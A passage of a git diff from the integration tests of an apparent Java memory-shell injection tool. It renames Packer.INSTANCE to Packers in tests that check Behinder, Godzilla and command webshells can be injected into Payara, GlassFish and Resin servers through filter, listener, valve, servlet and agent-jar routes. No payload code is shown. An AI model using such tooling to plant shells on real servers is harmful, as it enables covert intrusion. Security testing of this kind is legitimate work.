Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.ScriptEngine), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.ScriptEngine) + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.ScriptEngine), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.ScriptEngine), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.ScriptEngine), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.ScriptEngine) ); } @@ -80,7 +79,7 @@ public class Payara5201ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.GlassFish, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java index 382b2d29..978da73b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara520225ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.payara; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -41,24 +41,24 @@ public class Payara520225ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.VALVE, ShellTool.Command, Packers.Deserialize) ); } @@ -70,7 +70,7 @@ public class Payara520225ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java index fcf087e2..3c575d4a 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/payara/Payara620222ContainerTest.java @@ -3,7 +3,7 @@ package com.reajason.javaweb.integration.payara; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -41,24 +41,24 @@ public class Payara620222ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packer.INSTANCE.Deserialize) + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.JAKARTA_VALVE, ShellTool.Command, Packers.Deserialize) ); } @@ -70,7 +70,7 @@ public class Payara620222ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.Payara, shellType, shellTool, Opcodes.V1_6, packer); } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java index a4940b66..bcc7d069 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin3116ContainerTest.java @@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.ResinShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.SneakyThrows; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; @@ -43,27 +43,27 @@ public class Resin3116ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -78,7 +78,7 @@ public class Resin3116ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java index 1c4510a3..5326954f 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin318ContainerTest.java @@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.ResinShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -43,27 +43,27 @@ public class Resin318ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -75,7 +75,7 @@ public class Resin318ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java index 9b0dfab3..67e78f36 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4058ContainerTest.java @@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.ResinShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,27 +42,27 @@ public class Resin4058ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.SERVLET, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.FILTER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packer.INSTANCE.Deserialize), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.JSP), - arguments(imageName, Constants.LISTENER, ShellTool.Command, Packer.INSTANCE.Deserialize), - arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packer.INSTANCE.AgentJar), - arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packer.INSTANCE.AgentJar), - arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packer.INSTANCE.AgentJar) + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.SERVLET, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.FILTER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Behinder, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Godzilla, Packers.Deserialize), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.JSP), + arguments(imageName, Constants.LISTENER, ShellTool.Command, Packers.Deserialize), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Command, Packers.AgentJar), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Behinder, Packers.AgentJar), + arguments(imageName, ResinShell.AGENT_FILTER_CHAIN, ShellTool.Godzilla, Packers.AgentJar) ); } @@ -74,7 +74,7 @@ public class Resin4058ContainerTest { @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + void test(String imageName, String shellType, ShellTool shellTool, Packers packer) { testShellInjectAssertOk(getUrl(container), Server.Resin, shellType, shellTool, Opcodes.V1_6, packer, container); } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java index c47d243b..25d57f9e 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/resin/Resin4067ContainerTest.java @@ -4,7 +4,7 @@ import com.reajason.javaweb.memshell.ResinShell; import com.reajason.javaweb.memshell.config.Constants; import com.reajason.javaweb.memshell.config.Server; import com.reajason.javaweb.memshell.config.ShellTool; -import com.reajason.javaweb.memshell.packer.Packer; +import com.reajason.javaweb.memshell.packer.Packers; import lombok.extern.slf4j.Slf4j; import net.bytebuddy.jar.asm.Opcodes; import org.junit.jupiter.api.AfterAll; @@ -42,27 +42,27 @@ public class Resin4067ContainerTest { static Stream casesProvider() { return Stream.of( - arguments(imageName, Constants.SERVLET, 